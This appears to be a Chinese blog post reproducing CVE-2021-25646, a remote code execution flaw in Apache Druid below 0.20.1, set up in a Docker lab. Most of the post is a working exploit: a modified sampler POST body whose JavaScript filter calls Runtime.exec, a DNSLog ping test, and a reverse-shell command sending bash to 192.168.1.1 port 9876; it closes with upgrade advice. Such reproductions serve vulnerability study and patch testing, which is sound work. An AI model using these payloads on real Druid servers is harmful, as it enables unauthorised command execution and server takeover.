CVE-2021-25646:Apache Druid远程命令执行漏洞复现

漏洞概述

Apache Druid 是一个分布式的数据处理系统。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中,用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

影响版本

Apache Druid < 0.20.1

环境搭建

复制代码
docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

漏洞复现

访问8888端口,进入Apache Druid首页:

点击左上方Load data -> Local disk:

右侧表单填入:
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz

接下来一路点击next,直到下一步是Filter时,抓取数据包:

此时替换数据包中POST的data数据,原始数据:

复制代码
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[]}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

替换后的数据:

复制代码
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

其中,执行命令的代码为:

复制代码
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}"

DNSLog测试

复制代码
exec('ping xxx.dnslog.cn -c 1')

反弹shell

复制代码
exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')

成功反弹shell。

修复建议

升级到最新版Apache Druid 0.20.1

下载链接:https://druid.apache.org/downloads.html

相关推荐
yenggd18 小时前
centos系统apache支持php配置
centos·php·apache
deepwater_zone1 天前
主流的开源协议(MIT,Apache,GPL v2/v3)
apache·开源协议
lingggggaaaa1 天前
小迪安全v2023学习笔记(七十九讲)—— 中间件安全&IIS&Apache&Tomcat&Nginx&CVE
笔记·学习·安全·web安全·网络安全·中间件·apache
lifallen1 天前
Kafka 内存池MemoryPool 设计
数据结构·kafka·apache
闯闯桑2 天前
toDF(columns: _*) 语法
开发语言·前端·spark·scala·apache
A-刘晨阳2 天前
从全球视角到K8s落地的Apache IoTDB实战
kubernetes·apache·iotdb
管家婆客服中心3 天前
管家婆分销ERP A/V系列导出提示加载数据过大的处理方式
linux·服务器·apache
HashData酷克数据3 天前
官宣:Apache Cloudberry (Incubating) 2.0.0 发布!
数据库·开源·apache·cloudberry
XMYX-03 天前
解决 Apache/WAF SSL 证书链不完整导致的 PKIX path building failed 问题
网络协议·apache·ssl
IT·陈寒3 天前
怎么这么多 StringUtils —— Apache、Spring、Hutool 全面对比
java·spring·apache